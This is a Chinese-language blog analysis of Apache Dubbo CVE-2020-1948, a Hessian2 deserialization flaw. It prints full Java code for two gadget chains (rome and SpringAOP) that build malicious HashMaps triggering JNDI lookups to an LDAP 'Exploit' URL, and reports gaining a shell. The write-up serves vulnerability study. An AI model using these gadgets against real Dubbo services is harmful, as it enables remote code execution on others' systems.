Apache_Dubbo_CVE-2020-1948分析
文章目录
影响范围
Dubbor <= 2.7.7
为啥可以打到2.7.7而不是官方通告的2.7.6?回答如下:
rome Gadget分析
首先给出Gadget代码:
//最后触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://127.0.0.1:1088/Exploit";
//EqualsBean.beanHashCode调用ToStringBean.toString
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Class<BaseRowSet> baseRowSetClazz = BaseRowSet.class;
Field listenersField = baseRowSetClazz.getDeclaredField("listeners");
listenersField.setAccessible(true);
listenersField.set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class,rs);
//HashMap.hash调用EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class,item);
//触发HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap();
Class<? extends HashMap> clazz = s.getClass();
Field sizeField = clazz.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(s,2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Field tableField = clazz.getDeclaredField("table");
tableField.setAccessible(true);
tableField.set(s,tbl);
return s;
这个CVE依赖于靶机的 rome
依赖环境,需要使用这个依赖来作为Gadget。下面贴出完整的rome Gadget调用栈:
这里主要是 com.rometools.rome.feed.impl.ToStringBean
的 toString()
方法存在危险的操作,如下所示:
当调用到 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()
时,最终会触发JNDI注入。如下是 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()
的代码:
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
跟进 this.connect()
,如下所示,发现JNDI注入点:
但是此Gadget需要如下依赖:
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
实际上,生产环境中使用此依赖的情况比较少,所以此Gadget比较鸡肋。
Dobbo Invoke解析流程分析
前面已经说过,Dubbo支持Invoke和Event两种方式的请求。这个CVE是使用的Invoke(即调用Provider的method)方式进行请求的。直接贴出如下调用栈:
如上图调用栈所示,红框标注的就是基于 Dubbo
协议使用 Hessian2
的反序列化方式反序列化一个Object的过程,它是通过一个自定义的 Hessian2ObjectInput
来解析的Object。
通过读取 Dubbo
协议中的 序列化标志位
来判断通过使用哪个反序列化器来进行反序列化,这个CVE使用的是 Hessian2ObjectInput
。我们Gadget中序列化的是一个HashMap对象,所以最终 Hessian2ObjectInput
使用的是一个 MapDeserializer
来进行反序列化。最终在 MapDeserializer#doReadMap()
中调用了 HashMap#put()
从而触发Gadget。
如下是Dubbo协议的报文格式:
SpringAop Gadget
前面分析过的 rome Gadget
实际上攻击面并不广,但是Dubbo默认间接引用了 SpringAOP
,我们实际攻击时,使用 SpringAOP Gadget
可以大大提高命中率。
以下是 SpringAOP Gadget
的代码:
String jndiUrl="ldap://127.0.0.1:1088/Exploit";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Field loggerField = JndiAccessor.class.getDeclaredField("logger");
loggerField.setAccessible(true);
loggerField.set(bf,new NoOpLog());
JndiTemplate jndiTemplate = bf.getJndiTemplate();
Class<? extends JndiTemplate> jndiTemplateClazz = jndiTemplate.getClass();
Field jndiTemplateClazzLoggerField = jndiTemplateClazz.getDeclaredField("logger");
jndiTemplateClazzLoggerField.setAccessible(true);
jndiTemplateClazzLoggerField.set(jndiTemplate,new NoOpLog());
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
DefaultBeanFactoryPointcutAdvisor pcadv2 = new DefaultBeanFactoryPointcutAdvisor();
pcadv2.setBeanFactory(bf);
pcadv2.setAdviceBeanName(jndiUrl);
HashMap<Object, Object> s = new HashMap();
Class<? extends HashMap> hashMapClazz = s.getClass();
Field sizeField = hashMapClazz.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(s,2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));
Array.set(tbl, 1, nodeCons.newInstance(0, pcadv2, pcadv2, null));
Field tableField = hashMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
tableField.set(s,tbl);
return s;
调用栈如下所示:
Maven依赖如下:
<!--加入Spring-aop框架-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.5</version>
</dependency>
主要是利用 HashMap#put()
触发 AbstractPointcutAdvisor#equals()
,此方法内会调用 AbstractBeanFactoryPointcutAdvisor#getAdvice()
,如下所示:
很明显,在 AbstractBeanFactoryPointcutAdvisor#getAdvice()
内可以利用 SimpleJndiBeanFactory
进行JNDI注入,最终GetShell。
漏洞复现
使用Invoke方式下的SpringAOP Gadget攻击成功:
参考文章
感谢
感谢 threedr3am
师傅分享EXP和Dubbo协议发包框架。
文章作者 P1n93r
上次更新 2021-07-02